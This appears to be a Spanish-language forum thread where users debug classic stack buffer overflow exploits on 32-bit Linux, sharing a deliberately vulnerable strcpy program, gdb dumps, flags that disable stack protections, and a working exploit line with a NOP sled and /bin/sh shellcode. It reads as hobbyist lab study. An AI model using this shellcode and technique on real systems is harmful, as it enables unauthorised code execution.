Perdonad que vuelva a revivir el post, pero es que llevo unos cuantos dias intentando hacer un stack overflow en linux y me está costando por (creo yo) una chorrada.
El problema que tengo es que cuando introduzco varias "A" como argumento del programa, he observado que una vez sobreescrito todos los bytes correspondientes (por ejemplo 32), el siguiente byte siempre me lo pone a cero (en nuestro caso el 33 seria 0). Esto me está provocando errores a la hora de intentar hacer el overflow sobre la direccion de retorno.
Os pongo un ejemplo para que lo veais.
Esta es la pila del main antes del scrtcpy:
esp 0xbffff694 0xbffff694
ebp 0xbffff6a8 0xbffff6a8
0xbffff694: 0x0011eac0 0x0804842b 0x00288ff4 0x08048420
0xbffff6a4: 0xbffff8a9 0xbffff728 [b]0x00145ce7[/b] 0x00000002
Fijaros en la dirección que resalto porque una vez que ejecuta el scrtpy me sobreescribe su primer byte. Es decir, de 0x00145ce7 pasa a 0x00145c00
0xbffff694: 0xbffff69c 0xbffff8a9 0x41414141 0x41414141
0xbffff6a4: 0x41414141 0x41414141 0x00145c00 0x00000002
Esto hace que el programa no acabe correctamente su ejecución.
0x00145c00 in __libc_start_main () from /lib/libc.so.6
Ya sabia de antes, que cuando metes un scring en la pila, escribe un nulo (0x00) para saber donde acaba. La pregunta es ¿hay alguna manera de quitar esos ceros para poder hacer un overflow? Con windows no me he encontrado problemas, ¿os ha ocurrido esto a vosotros?
Gracias por vuestra atencion.
Datos
2.6.35-23-generic #41-Ubuntu SMP Wed Nov 24 10:18:49 UTC 2010 i686 GNU/Linux
gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu5)
Hola,
Aún no he conseguido que se ejecute la dirección del RET sobreescrita. No sé si será por ele compilador gcc, he estado dando vueltas por google y la verdad no sé por dónde pueden ir los tiros.
Voy a intentar exponer el problema a ver si a alguien le ha pasado.
Este es el código vulnerable:
#include <stdio.h>
#include <string.h>
void copiar(char* b)
{
char buffer[16];
strcpy(buffer,b);
}
int main(int argc, char** argv)
{
copiar(argv[1]);
return 0;
}
La variable "buffer" es de 16bytes.
Ejecuto el gdb y pongo un break en la funcion "copirar"
(gdb) list
4 void copiar(char* b)
5 {
6 char buffer[16];
7 strcpy(buffer,b);
8 }
9
10
11 int main(int argc, char** argv)
12 {
13 copiar(argv[1]);
(gdb) break 6
(gdb) run $(perl -e 'print "A"x32')
Antes de ejecutar el strcpy miro la pila:
La direccion de la variable "buffer" en la funcion copiar es 0xbffff67c
(gdb) print &buffer
$1 = (char (*)[16]) 0xbffff67c
La direccíon de retorno a el main es 0x080483f4:
(gdb) disass main
Dump of assembler code for function main:
0x080483de <+0>: push %ebp
0x080483df <+1>: mov %esp,%ebp
0x080483e1 <+3>: sub $0x4,%esp
0x080483e4 <+6>: mov 0xc(%ebp),%eax
0x080483e7 <+9>: add $0x4,%eax
0x080483ea <+12>: mov (%eax),%eax
0x080483ec <+14>: mov %eax,(%esp)
0x080483ef <+17>: call 0x80483c4 <copiar>
0x080483f4 <+22>: mov $0x0,%eax
0x080483f9 <+27>: leave
0x080483fa <+28>: ret
End of assembler dump.
Ahora observo la pila en el breakpoint
esp 0xbffff674 0xbffff674
ebp 0xbffff68c 0xbffff68c
En la direccion 0xbffff67c comienza la varible "buffer" y en la direccion 0xbffff690 el RET
(gdb) x/50x $esp
0xbffff674: 0x00287ff4 0x08048410 0xbffff698 0x0015e985
0xbffff684: 0x0011eac0 0x0804841b 0xbffff698 0x080483f4
0xbffff694: 0xbffff89a 0xbffff718 0x00145ce7 0x00000002
0xbffff6a4: 0xbffff744 0xbffff750 0xb7fff848 0xbffff7b8
0xbffff6b4: 0xffffffff 0x0012cff4 0x0804822c 0x00000001
0xbffff6c4: 0xbffff700 0x0011e096 0x0012dad0 0xb7fffb28
0xbffff6d4: 0x00287ff4 0x00000000 0x00000000 0xbffff718
0xbffff6e4: 0x084b7a07 0xdf1f6378 0x00000000 0x00000000
0xbffff6f4: 0x00000000 0x00000002 0x08048310 0x00000000
0xbffff704: 0x00123cf0 0x00145c0b 0x0012cff4 0x00000002
0xbffff714: 0x08048310 0x00000000 0x08048331 0x080483de
0xbffff724: 0x00000002 0xbffff744 0x08048410 0x08048400
0xbffff734: 0x0011eac0 0xbffff73c
Sigo ejecutando:
(gdb) next
8 }
(gdb) x/50x $esp
0xbffff674: 0xbffff67c 0xbffff89a 0x41414141 0x41414141
0xbffff684: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff694: 0x41414141 0x41414141 0x00145c00 0x00000002
0xbffff6a4: 0xbffff744 0xbffff750 0xb7fff848 0xbffff7b8
0xbffff6b4: 0xffffffff 0x0012cff4 0x0804822c 0x00000001
0xbffff6c4: 0xbffff700 0x0011e096 0x0012dad0 0xb7fffb28
0xbffff6d4: 0x00287ff4 0x00000000 0x00000000 0xbffff718
0xbffff6e4: 0x084b7a07 0xdf1f6378 0x00000000 0x00000000
0xbffff6f4: 0x00000000 0x00000002 0x08048310 0x00000000
0xbffff704: 0x00123cf0 0x00145c0b 0x0012cff4 0x00000002
0xbffff714: 0x08048310 0x00000000 0x08048331 0x080483de
0xbffff724: 0x00000002 0xbffff744 0x08048410 0x08048400
0xbffff734: 0x0011eac0 0xbffff73c
Como vemos el RET (direccion 0xbffff690) se ha sobreescrito. Y como me pasaba en el comentario anterioir despues de escribir todas las "A", en byte siguiente lo sobre con ceros (ha pasado de 0x00145ce7 a 0x00145c00).
En el siguiente paso el programa "casca" pero sin que el EIP ejecute el RET:
Program received signal SIGSEGV, Segmentation fault.
0x080483dd in copiar (b=No se puede acceder a la memoria en la dirección 0x41414149
) at ejemplo.c:8
8 }
(gdb) info r
eax 0xbffff67c -1073744260
ecx 0x0 0
edx 0x21 33
ebx 0x287ff4 2654196
esp 0xbffff690 0xbffff690
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x80483dd 0x80483dd <copiar+25>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
La dirección donde se queda es el RET de la funcion copiar: eip 0x80483dd 0x80483dd <copiar+25>
(gdb) disass copiar
Dump of assembler code for function copiar:
0x080483c4 <+0>: push %ebp
0x080483c5 <+1>: mov %esp,%ebp
0x080483c7 <+3>: sub $0x18,%esp
0x080483ca <+6>: mov 0x8(%ebp),%eax
0x080483cd <+9>: mov %eax,0x4(%esp)
0x080483d1 <+13>: lea -0x10(%ebp),%eax
0x080483d4 <+16>: mov %eax,(%esp)
0x080483d7 <+19>: call 0x80482f4 <strcpy@plt>
0x080483dc <+24>: leave
=> 0x080483dd <+25>: ret
End of assembler dump.
Me podeis echar una mano.?? Gracias
Me imagino que habrás deshabilitado las protecciones contra buffer overflow no?
Si, si, esta compilado asii:
gcc -g -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb ejemplo.c
Graicas
A mí me paso esto durante un tiempo y también me parecía inexplicable. Prueba con un buffer mayor y pásale un argumento de aproximadamente el doble del buffer.
Hola,
Gracias por contestar. He probado con un buffer de 500 y 1000 "A" como parámetro y tampoco me ha funcionado.
Además, he probado a compilar el gcc-3.4.6 y tampoco funciona. No sé es una cosa rara rara.
Os dejo el traceo del gdb
(gdb) print &buffer
$1 = (char (*)[16]) 0xbffff2ac
(gdb) s
8 }
(gdb) x/100x $esp
0xbffff2a4: 0xbffff2ac 0xbffff4be 0x41414141 0x41414141
0xbffff2b4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2c4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2e4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2f4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff304: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff314: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff324: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff334: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff344: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff354: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff364: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff374: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff384: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff394: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3a4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3b4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3c4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3d4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3e4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3f4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff404: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff414: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff424: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) s
Program received signal SIGSEGV, Segmentation fault.
0x0804837d in copiar (b=No se puede acceder a la memoria en la dirección 0x41414149
) at ejemplo.c:8
8 }
(gdb) info r
eax 0xbffff2ac -1073745236
ecx 0x0 0
edx 0x3e9 1001
ebx 0x287ff4 2654196
esp 0xbffff2c0 0xbffff2c0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x804837d 0x804837d <copiar+25>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) s
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) info r
El programa no tiene registros ahora.
(gdb) info s
No stack.
Lo que me parece raro es el mensaje:
Program received signal SIGSEGV, Segmentation fault.
0x0804837d in copiar (b=No se puede acceder a la memoria en la dirección 0x41414149
Gracias por la ayuda.
Pues ya ni idea, tendré que desempolvar el hacking a nivel binario y probaré mañana a ver. De todas formas me parece muy extraño que la dirección que te dé sea "0x41414149".
Me parece que lo del null-byte no tiene nada que ver en absoluto.
Podrias poner el disas main de tu binario porfa.
Saludos!!!
Y sin porfa lo pongo....
(gdb) list
4 void copiar(char* b)
5 {
6 char buffer[500];
7 strcpy(buffer,b);
8 }
9
10
11 int main(int argc, char** argv)
12 {
13 copiar(argv[1]);
(gdb)
14 return 0;
15
16 }
(gdb) disass main
Dump of assembler code for function main:
0x08048384 <+0>: push %ebp
0x08048385 <+1>: mov %esp,%ebp
0x08048387 <+3>: sub $0x4,%esp
0x0804838a <+6>: mov 0xc(%ebp),%eax
0x0804838d <+9>: add $0x4,%eax
0x08048390 <+12>: mov (%eax),%eax
0x08048392 <+14>: mov %eax,(%esp)
0x08048395 <+17>: call 0x8048364 <copiar>
0x0804839a <+22>: mov $0x0,%eax
0x0804839f <+27>: leave
0x080483a0 <+28>: ret
End of assembler dump.
(gdb) disass copiar
Dump of assembler code for function copiar:
0x08048364 <+0>: push %ebp
0x08048365 <+1>: mov %esp,%ebp
0x08048367 <+3>: sub $0x208,%esp
0x0804836d <+9>: mov 0x8(%ebp),%eax
0x08048370 <+12>: mov %eax,0x4(%esp)
0x08048374 <+16>: lea -0x200(%ebp),%eax
0x0804837a <+22>: mov %eax,(%esp)
0x0804837d <+25>: call 0x80482b8 <strcpy@plt>
0x08048382 <+30>: leave
0x08048383 <+31>: ret
End of assembler dump
La dirección 0x41414149 corresponde a la de la variable "b":
Program received signal SIGSEGV, Segmentation fault.
0x08048383 in copiar (b=No se puede acceder a la memoria en la dirección 0x41414149
) at ejemplo.c:8
8 }
(gdb) print &b
$2 = (char **) 0x41414149
Gracias por la ayuda!
Hola!
Lo que no acabo de entender es por qué cuando se escribe la varible "b" de la funcion copiar da este casque, es una valor que está debajo del RET en la pila... ¿puede algo que ver la instrucción "ret" del copiar?
Otra cosa que no acabo de ver es lo del byte-null, si pudiera evitar que se introdujera ese byte null no me llegaria a fallar.... ¿siempre que se introcen carácteres en la pila se pone este valor al final de la cadena?
Gracias!
Hola!
Ya he conseguido que se intente ejecutar el RET sobreescrito. Por lo visto gcc activa un flag para desactivar la ejecución en la pila. Este mecanismo se desactiva usando en parámetro "-z execstack" a la hora de compilar.
Salu2!
Excelente!!
Algo asi me paso en Linux xd...
Hola!!!
Retomando el tema, me he vuelto a encontrar un problema más. Y es que al saltar a los NOPs me sale lo siguiente:
Error accessing memory address 0x90909090: Error de entrada/salida.
¿No deberia saltar todos los NOPs hasta llegar a la shellcode?
Gracias
Pero es que los nops se saltan cuando "tienen que ser ejecutados". El EIP lo debes sobreescribir de manera exacta.
Son cosas distintas las direcciones y las instrucciones.
Mmmm
Entonces no sé si lo entendido bien o estoy metiendo la pata en algún sitio. La cadena que estoy metiendo en el buffer es así: NOPS + shellcode + dirección de salto a los NOPS
Mira, esta es la pila antes de ejecutar el "strcpy"
0xbffff5a4: 0xbffff664 0x00119b02 0xbffff654 0x080481cc
0xbffff5b4: 0xbffff648 0x0012da74 0x00000000 0x00130b28
0xbffff5c4: 0x00000001 0x00000000 0x00000001 0x0012d918
0xbffff5d4: 0x00000000 0x00010000 0x00296ff4 0x00246e79
0xbffff5e4: 0x0016d785 0xbffff5f8 0x00154ae5 0x00000000
0xbffff5f4: 0x08049ff4 0xbffff608 0x080482c0 0x0011eac0
0xbffff604: 0x08049ff4 0xbffff638 0x08048429 0x00297324
0xbffff614: 0x00296ff4 0x08048410 0xbffff638 0x0016d985
0xbffff624: 0x0011eac0 0x0804841b 0xbffff638 0x080483f7 <-- RET
0xbffff634: 0xbffff831 0xbffff6b8 0x00154ce7 0x00000002
Tengo declarada el variable buffer con 128 bytes y el RET lo sobreescribo con 136. Y así paso los parametros
run $(perl -e 'print "\x90"x51 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\xb4\xf5\xff\xbf"x10')
0xbffff5a4: 0xbffff5ac 0xbffff831 0x90909090 0x90909090
0xbffff5b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5d4: 0x90909090 0x90909090 0xeb909090 0x76895e1f
0xbffff5e4: 0x88c03108 0x46890746 0x890bb00c 0x084e8df3
0xbffff5f4: 0xcd0c568d 0x89db3180 0x80cd40d8 0xffffdce8
0xbffff604: 0x69622fff 0x68732f6e 0xbffff5b4 0xbffff5b4
0xbffff614: 0xbffff5b4 0xbffff5b4 0xbffff5b4 0xbffff5b4
0xbffff624: 0xbffff5b4 0xbffff5b4 0xbffff5b4 0xbffff5b4 <-- RET sobreescrito con dir. de salto a NOPS
0xbffff634: 0xbffff800 0xbffff6b8 0x00154ce7 0x00000002
He puesto que salte a la dir 0xbffff5b4 que es donde hay NOPS y obtengo esto:
rror accessing memory address 0x90909090: Error de entrada/salida.
0xbffff5b4 in ?? ()
Se supone que tendría que ejecutar lo que hubiera en la dir. 0xbffff5b4 no¿??
Salu2
Mira, yo siempre que he explotado BoF lo he hecho guardando la shellcode en una variable de entorno porque la dirección de esta es siempre fija y la puedes llamar desde donde te de la gana.
Cuando tengas la variable de entorno con la shellcode tienes que averiguar la dirección, puedes hacerlo con este código:
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char *argv[]){
char *addr;
addr = getenv(argv[1]);
printf("%s is located at %p\n", argv[1], addr);
return 0;
}
Una vez tengas la dirección solo tienes que sobrescribir eip con esa dirección.
Prueba a ver.
A mi ese code me suena a "Hacking. Tecnicas fundamentales". Lo tengo aqui al lado xD
Bueno, a mi me pasa algo parecido a este ultimo caso, y no he conseguido resolverlo :-\
Mi code es casi igual... Sí, lo hice en 5 segundos, muy currado verdad?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main (int argc, char *argv [])
{
if (argc != 2) return 1;
char buffer [40];
strcpy (buffer, argv [1]);
}
Pues le meto 200 Bs y no me sobreescribe...
(gdb) r $(perl -e 'print "B"x200')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/juanra/Escritorio/vuln $(perl -e 'print "B"x200')
Program received signal SIGSEGV, Segmentation fault.
0x0804840f in main (argc=Cannot access memory at address [b]0x42424206[/b]
) at vuln.c:10
10 }
(gdb)
Entonces si le cambio el valor de B, me pone el hexadecimal de la letra que haya puesto. Pero si en vez de doscientos le meto 500 el resultado es igual. Entonces hay un byte "intocable". El ultimo. Como puede ser?
Si no consigo sobreescribirlo no puedo seguir xD
Gracias por vuestra ayuda
Hola!
A mi me pasó algo parecido. Son temas de protección que el "gcc" implementa para no llevar a cabo el buffer overflow. Mira que tengas todas las protecciones quitadas a la hora de compilar.
Por cierto, el último error que puse era problema de los breakpoint. Cosa rarisima, cuando ejecuto el código con el gdb y breakpoints me tira el error, cuando hago lo mismo sin breakpoint, me ejecuta la shellcode.... Por lo que he leido se trata de un problema con la arquitectura de 64bits que tengo y las librerias de 32bits con los que están compiladas el gcc.
Salu2
Creo que no. He probado a quitar todas las protecciones... :o y nada...
He probado a compilar con cc y... nada.
La cosa es que hay un byte que no se puede modificar...
Starting program: /home/juanra/Escritorio/shell/vuln AAAABBBBCCCCDDDDEEEEFFFF
Program received signal SIGSEGV, Segmentation fault.
0x0804840f in main (argc=Cannot access memory at address 0x43434327
) at vuln.c:10
10 }
(gdb)
El ultimo byte me tendria que dar o una D o una B, pero no 27...
La cosa es que no puedo modificarla...
Perdonad el doble post, pero sigo pensando en esto...
Alguien tiene alguna idea?
Muéstranos qué hay en la pila y en los registros.
(gdb) x/50x $esp
0xbfcba804: 0xb77c0dbb 0xb77d0828 0xb77b1b40 0x00000001
0xbfcba814: 0x00000001 0x00000000 0x08048229 0x00000003
0xbfcba824: 0x00000000 0x0804a008 0x00000001 0xb7640330
0xbfcba834: 0xb779aff4 0x08048420 0x08048310 0x7f9750c8
0xbfcba844: 0xb77c67f0 0xbfcba8a0 0xb76b31e0 0x08048420
0xbfcba854: 0x08048310 0xbfcba888 0x08048407 0xbfcba880
0xbfcba864: 0xbfcbc6e7 0xbfcba878 0xbfcba8a0 0xb779aff4
0xbfcba874: 0x08049ff4 0xbfcba898 0x08048439 0x41414141
0xbfcba884: 0xbfcba800 0xbfcba8f8 0xb7652775 0x08048420
0xbfcba894: 0x08048310 0xbfcba8f8 0xb7652775 0x00000002
0xbfcba8a4: 0xbfcba924 0xbfcba930 0xb77b1b40 0x10000001
0xbfcba8b4: 0x00080483 0x00000000 0x08048230 0xb779aff4
0xbfcba8c4: 0x08040e20 0x08048310
(gdb) i r
eax 0xbfcba8c5 -1077172027
ecx 0xbfcba800 -1077172224
edx 0x5 5
ebx 0xb77900f4 -1216806668
esp 0xbfcba804 0xbfcba804
ebp 0xbfcba8fc 0xbfcba8fc
esi 0x8048420 134513696
edi 0x8048310 134513424
eip 0xb77d0669 0xb77d0669 <_r_debug+17>
eflags 0x10203 [ CF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
Me refiero a justo antes de ejecutarse strcpy()
(gdb) x/50x $esp
0xbfdd41c0: 0xb778a329 0x08049ff4 0xbfdd41d8 0xbfdd4200
0xbfdd41d0: 0xb77c7ff4 0x08049ff4 0xbfdd41f8 0x08048439
0xbfdd41e0: 0xb77ee7b0 0xbfdd4200 0xbfdd4258 0xb767f775
0xbfdd41f0: 0x08048420 0x08048310 0xbfdd4258 0xb767f775
0xbfdd4200: 0x00000002 0xbfdd4284 0xbfdd4290 0xb77deb40
0xbfdd4210: 0x00000001 0x00000001 0x00000000 0x08048230
0xbfdd4220: 0xb77c7ff4 0x08048420 0x08048310 0xbfdd4258
0xbfdd4230: 0x020601b2 0x776c75a3 0x00000000 0x00000000
0xbfdd4240: 0x00000000 0xb77f37f0 0xb767f69d 0xb77fcff4
0xbfdd4250: 0x00000002 0x08048310 0x00000000 0x08048331
0xbfdd4260: 0x080483c4 0x00000002 0xbfdd4284 0x08048420
0xbfdd4270: 0x08048410 0xb77ee7b0 0xbfdd427c 0xb77f9d83
0xbfdd4280: 0x00000002 0xbfdd46c5
(gdb) i r
eax 0xbfdd4200 -1076018688
ecx 0xbfdd4200 -1076018688
edx 0x2 2
ebx 0xb77c7ff4 -1216577548
esp 0xbfdd41c0 0xbfdd41c0
ebp 0xbfdd41e8 0xbfdd41e8
esi 0x8048420 134513696
edi 0x8048310 134513424
eip 0x80483ed 0x80483ed <main+41>
eflags 0x246 [ PF ZF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
Desensamblate el binario y pasalo por gdb con stepi. Vas a tener que depurarlo a muerte :P.
Sino danos acceso ssh con una cuenta restringida que te ayudamos! :)
Bueno, algo pensare...
Y... no ::) xD